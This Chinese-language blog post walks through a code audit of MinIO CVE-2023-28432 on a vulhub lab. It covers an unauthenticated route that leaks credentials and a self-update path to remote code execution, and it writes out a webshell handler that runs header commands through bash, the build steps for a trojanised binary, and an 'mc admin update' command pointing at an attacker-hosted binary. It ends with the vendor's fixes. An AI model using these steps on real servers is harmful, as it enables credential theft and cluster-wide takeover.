正好最近入坑了 Golang, 做个简单的审计练练手
MinIO CVE-2023-28432
MinIO 是一套私有云对象存储的解决方案
Github Advisory: https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q
漏洞原理为 MinIO 的某个 API 路由没有鉴权, 导致可以通过该路由获取 MinIO 在系统中的环境变量, 进而得到管理员的账号密码和 SecretKey
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
ctx := newContext(r, w, "VerifyHandler")
cfg := getServerSystemCfg()
logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}
// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
envs := env.List("MINIO_")
envValues := make(map[string]string, len(envs))
for _, envK := range envs {
// skip certain environment variables as part
// of the whitelist and could be configured
// differently on each nodes, update skipEnvs()
// map if there are such environment values
if _, ok := skipEnvs[envK]; ok {
continue
}
envValues[envK] = env.Get(envK, "")
}
return ServerSystemConfig{
MinioEndpoints: globalEndpoints,
MinioEnv: envValues,
}
}
|
通告上写到该漏洞只在集群模式下有效
下载源码直奔 cmd/router.go 查看路由



路由地址在最上面

以 vulhub 的环境为例, 注意发送的是 POST 方法
POST /minio/bootstrap/v1/verify

自更新 RCE
自更新是 MinIO 一项功能, 但是它的自更新可以指定一个私有的 mirror url, 导致可以将 url 指向恶意文件进而 RCE
MinIO 有一个管理客户端 mc
, 它的 mc admin update
对应的就是服务端的自更新
https://min.io/docs/minio/linux/reference/minio-mc-admin/mc-admin-update.html#command-mc.admin.update
update handler 位于 AdminRouter 中



首先验证是否为 admin, 然后获取 updateURL, 如果为空的话会指定一个默认的 minioReleaseInfoURL, 即https://dl.min.io/server/minio/release/darwin-arm64/minio.sha256sum

然后调用 downloadReleaseURL 和 parseReleaseData


注意 parseReleaseData 会验证 sha256sum 的文件内容是否满足 <sha256 hash> minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional>
的格式, 如果格式不对则会返回 error

验证完格式之后, 它会将路径重新处理, 改成 url + / + minio.RELEASE.2016-10-07T01-16-39Z.<hotfix_optional>
的形式,其中的 releaseInfo 与前面 sha256sum 中的第二个字段对应
然后会将目标版本和当前版本进行对比, 如果目标版本的日期小于等于当前版本会提示无需更新

再次下载对应的二进制文件, 调用 verifyBinary
verifyBinary 会验证签名和 sha256

这里本来的作用是获取对应的 .minisig
文件, 使用 minisignPubKey 解密, 验证签名是否正确
因为 minisignPubKey 是从环境变量中获得的, 如果环境变量中没有对应的值就会默认给个空值, 就会直接跳过下面对签名的验证
所以我们就可以利用这个缺陷来自更新恶意二进制文件实现 RCE
但由于 MinIO 默认在 Dockerfile 里面配置了官方的公钥, 所以官方 Docker 版本的 MinIO 就无法通过这种方式实现 RCE

后面调用 CommitBinary

CommitBinary 的功能其实就是替换当前的 MinIO 二进制文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
|
func CommitBinary(opts Options) error {
// get the directory the file exists in
targetPath, err := opts.getPath()
if err != nil {
return err
}
updateDir := filepath.Dir(targetPath)
filename := filepath.Base(targetPath)
newPath := filepath.Join(updateDir, fmt.Sprintf(".%s.new", filename))
// this is where we'll move the executable to so that we can swap in the updated replacement
oldPath := opts.OldSavePath
removeOld := opts.OldSavePath == ""
if removeOld {
oldPath = filepath.Join(updateDir, fmt.Sprintf(".%s.old", filename))
}
// delete any existing old exec file - this is necessary on Windows for two reasons:
// 1. after a successful update, Windows can't remove the .old file because the process is still running
// 2. windows rename operations fail if the destination file already exists
_ = os.Remove(oldPath)
// move the existing executable to a new file in the same directory
err = os.Rename(targetPath, oldPath)
if err != nil {
return err
}
// move the new exectuable in to become the new program
err = os.Rename(newPath, targetPath)
if err != nil {
// move unsuccessful
//
// The filesystem is now in a bad state. We have successfully
// moved the existing binary to a new location, but we couldn't move the new
// binary to take its place. That means there is no file where the current executable binary
// used to be!
// Try to rollback by restoring the old binary to its original path.
rerr := os.Rename(oldPath, targetPath)
if rerr != nil {
return &rollbackErr{err, rerr}
}
return err
}
// move successful, remove the old binary if needed
if removeOld {
errRemove := os.Remove(oldPath)
// windows has trouble with removing old binaries, so hide it instead
if errRemove != nil {
_ = hideFile(oldPath)
}
}
return nil
}
|

最后发送 serviceRestart 信号重启整个集群
综上, 要想实现自更新 RCE, 需要满足以下几个条件
- 准备好符合命名格式的恶意二进制文件和对应的 sha256sum 文件
- 文件名称中的版本日期必须大于目标 MinIO 的版本
- 目标系统没有在环境变量中配置
MINIO_UPDATE_MINISIGN_PUBKEY
- 因为自更新需要替换整个二进制文件并重启, 所以需要二开官方的 MinIO, 在里面加入一个 webshell
注意更新这个操作在实战环境中会有一定的风险, 所以我们需要基于目标当前版本的 MinIO 进行二开
使用 mc 可以获取到目标 MinIO 的版本
1
2
|
mc alias set minio http://127.0.0.1:9000/ minioadmin minioadmin-vulhub
mc admin info minio
|

下载好对应的源码, 在 routers.go 里面加一个 evil handler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
package cmd
import (
"net/http"
"os/exec"
)
func evilHandler(h http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
cmd := r.Header.Get("Cmd")
if cmd != "" {
p := exec.Command("bash", "-c", cmd)
output, _ := p.Output()
w.Write([]byte(output))
} else {
h.ServeHTTP(w, r)
}
})
}
|

编译, 生成对应的 sha256sum
1
2
3
4
|
go mod tidy
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build
mv minio minio.RELEASE.2023-02-27T18-10-50Z
shasum -a 256 minio.RELEASE.2023-02-27T18-10-50Z > minio.RELEASE.2023-02-27T18-10-50Z.sha256sum
|
最后利用 mc 发送自更新的请求
1
|
mc admin update minio http://host.docker.internal:8000/minio.RELEASE.2023-02-27T18-10-50Z.sha256sum
|

效果

并且由于是集群模式, 集群中的所有主机都自更新了一次

官方的修复方法
https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077
https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300
首先对 verfiy handler 加上了鉴权, 并且对环境变量做了一次 hash, 这样就无法得到实际的内容
然后设置了默认公钥, 即 defaultMinisignPubkey, 阻止了自更新 RCE 的可能性